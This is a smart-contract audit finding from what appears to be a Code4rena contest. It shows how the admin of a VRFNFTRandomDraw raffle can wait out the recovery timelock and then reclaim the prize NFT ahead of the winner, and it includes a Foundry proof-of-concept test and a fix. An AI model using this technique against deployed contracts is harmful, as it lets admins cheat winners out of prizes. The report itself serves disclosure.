Forgeries contest - Titi's results

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L304-L320 https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L173-L198

Vulnerability details

Impact

An admin of a random draw is able to wait out the timer required to call lastResortTimelockOwnerClaimNFT before starting the draw. This allows an admin to frontrun a winnerClaimNFT transaction if the addr of the winner is not someone the admin would like to see win.

Proof of Concept

Consider the following foundry test:

function test_owner_is_not_happy_with_winner() public {
        address winner = address(0x1337);
        vm.label(winner, "winner");

        vm.startPrank(winner);
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.mint();
        }
        vm.stopPrank();

        vm.startPrank(admin);
        targetNFT.mint();

        address consumerAddress = factory.makeNewDraw(
            IVRFNFTRandomDraw.Settings({
                token: address(targetNFT),
                tokenId: 0,
                drawingToken: address(drawingNFT),
                drawingTokenStartId: 0,
                drawingTokenEndId: 10,
                drawBufferTime: 1 hours,
                recoverTimelock: 1 weeks + 1 seconds,
                keyHash: bytes32(
                    0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
                ),
                subscriptionId: subscriptionId
            })
        );
        vm.label(consumerAddress, "drawing instance");

        mockCoordinator.addConsumer(subscriptionId, consumerAddress);
        mockCoordinator.fundSubscription(subscriptionId, 100 ether);

        VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

        targetNFT.setApprovalForAll(consumerAddress, true);

        // Wait 2 weeks before drawing -- so the recovery timelock expires
        vm.warp(2 weeks);

        // Draw
        uint256 drawingId = drawing.startDraw();

        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

        // Claim back nft (virtually frontrunning the winner claim tx)
        drawing.lastResortTimelockOwnerClaimNFT();

        vm.stopPrank();
    }

Tools Used

Manual review

Recommended Mitigation Steps

Make sure that the settings.recoverTimelock timstamp is set at drawing instead of initialisation.